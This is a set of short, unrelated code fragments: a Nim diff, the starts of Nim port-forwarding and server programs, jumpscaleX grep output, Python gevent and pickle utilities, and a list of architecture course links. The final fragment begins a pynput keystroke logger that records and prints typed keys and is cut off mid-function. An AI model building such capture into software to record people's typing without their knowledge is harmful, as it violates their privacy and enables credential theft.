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diff --git a/src/servy.nim b/src/servy.nim
index 3a90e78..8954982 100644
--- a/src/servy.nim
+++ b/src/servy.nim
@@ -407,8 +407,8 @@ proc newResponse*(): Response =
   result.httpver = HttpVer11
   result.headers = newHttpHeaders()
 
-type MiddlewareFunc* = proc(req: Request, res: Response): Future[bool] {.async, nimcall, gcsafe, locks: 0.}
-type HandlerFunc* = proc(req: Request, res: Response) :  Future[void] {.nimcall, async.}

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require "json"

# class Location
#   JSON.mapping(
#     lat: Float64,
#     lng: Float64,
#   )
# end

# class House

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Tech Links

See also my tech blog.

Computer Architecture

• Padraic Edgington's videos
• Design of Digital Circuits, ETH Zurich, Onur Mutlu, Spring 2019
  • Basic CPU design course, LC-3, MIPS, FPGA, Vivado, Basys 3
• High Performance Computer Architecture, Georgia Tech CS6290

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jumpscaleX_libs/JumpscaleLibs/data/markdown/MarkdownFactory.py:39:    #     #use prefab to install components required to get pdf generation to work
jumpscaleX_libs/JumpscaleLibs/sal/docker/Container.py:30:        self._prefab = None
jumpscaleX_libs/JumpscaleLibs/sal/docker/Container.py:70:    def prefab(self):
jumpscaleX_libs/JumpscaleLibs/sal/docker/Container.py:71:        if self._prefab is None:
jumpscaleX_libs/JumpscaleLibs/sal/docker/Container.py:72:            self._prefab = j.tools.prefab.get(self.executor, usecache=False)
jumpscaleX_libs/JumpscaleLibs/sal/docker/Container.py:73:        return self._prefab
jumpscaleX_libs/JumpscaleLibs/sal/docker/Docker.py:425:            result = ex.prefab.system.user.passwd("root", rootpasswd)
jumpscaleX_libs/JumpscaleLibs/sal/kvm/Pool.py:13:        self.poolpath = self.controller.executor.prefab.core.joinpaths(self.controller.base_path, self.name)
jumpscaleX_libs/JumpscaleLibs/sal/kvm/Pool.py:35:        self.controller.executor.prefab.core.dir_ensure(self.poolpath)

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builders

• mongo/mongocluster/tarantool/tidb/ledis
• sockexec
• etcd
• hadoop
• grafana (requires update)
• gateone
• geodns
• zeroboot

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# This is just an example to get you started. A typical binary package
# uses this file as the main entry point of the application.

import  strformat, tables, json, strutils, sequtils, hashes, net, asyncdispatch, asyncnet, os, strutils, parseutils, deques, options, net

type ForwardOptions = object
  listenAddr*: string
  listenPort*: Port
  toAddr*: string
  toPort*: Port

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# This is just an example to get you started. A typical binary package
# uses this file as the main entry point of the application.

import strformat, tables, json, strutils, asyncdispatch, asyncnet, strutils, parseutils, options, net
from cgi import decodeUrl
import terminaltables
import mimetypes


type

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from gevent import monkey; monkey.patch_all()

import time, os, sys, inspect
from pickle import loads as pickle_loads, dumps as pickle_dumps
from dill import loads as dill_loads, dumps as dill_dumps
from redis import Redis
import gevent as g
from gevent import sleep
from hashlib import md5
from base64 import b64encode, b64decode

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import gevent as g
from functools import partial
import traceback

def fn(*args, **kwargs):
    print("ARGS: ", args)
    print("KWARGS: ", kwargs)
    g.sleep(3)
    return 150

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from pynput import keyboard

logs = []
log = ""    

def handle_key(key):
    global log, logs
    try:
        log += key.char
        print("LOG: ", log)